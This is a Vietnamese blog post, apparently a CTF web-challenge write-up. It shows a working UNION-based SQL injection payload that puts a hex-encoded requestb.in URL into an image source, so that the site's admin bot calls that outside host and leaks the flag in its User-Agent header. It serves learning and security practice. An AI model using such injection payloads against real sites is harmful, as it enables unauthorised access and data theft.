Sunday, September 10, 2017

Write-up CTF Web200pt China_UA Hero Academy PwC Hackaday

*Đề bài:
http://188.166.186.239/


*Giải quyết:
     - Sau khi kiểm tra 1 lượt, mình thấy http://188.166.186.239/student.php?id=1. Và mình thử check sqli xem sao và thấy:



     - Mình nghĩ nó dính lỗi sqli. Mình đã thử với sqlmap --dump xem sao thì không thấy thông tin gì khả quan:


     - Giờ mình thử sqli bằng tay xem sao. Mình đã order by để đếm số cột trong bảng để lưu trữ những thông tin truy vấn này là 4 cột. theo như sqlmap thì mình cũng thấy nó có 4 cột.
     - Sau đó mình union select 1,2,3,4 để xem có cột nào để inject được và đã nhận được như thế này:


     - Mình mở Inspect Element kiểm tra xem thế nào thì thấy ở cái thẻ "img"  có thuộc tính src="4", nên ở đây mình có thể inject vào các cột 2,3,4. Lúc nãy mình dùng sqlmap để quét thử thì ko thấy thông tin khả quan nên chắc đây không phải sqli đơn giản. Để ý mình thấy ở phần Contact: "If you found any crime on our website, feel free to report it" nên mình đoán là bài này tác giả đã dùng bot để check cái phần này đọc request website.
   

     - Bây giờ mình inject vào cái src của thẻ "img" một địa chỉ requestb.in:


     - Mình inject như sau: http://188.166.186.239/student.php
?id=-1 union select 1,2,3,0x68747470733a2f2f72657175657374622e696e2f316d343170766831
0x68747470733a2f2f72657175657374622e696e2f316d343170766831 là mã hex của https://requestb.in/1m41pvh1.


     - Mình đã inject thành công. Bây giờ gửi contact thôi nào:


   

     -F5 mình để ý kỹ phần User-agent: có 1 phần là base64. Bình thường thì Chrome or Mozilla, MSIE nên không khó nhận ra. Decode base64 mình nhận được Flag:


Cảm ơn một người bạn mới kết bạn trưa nay đã giúp đỡ................... :D :D :D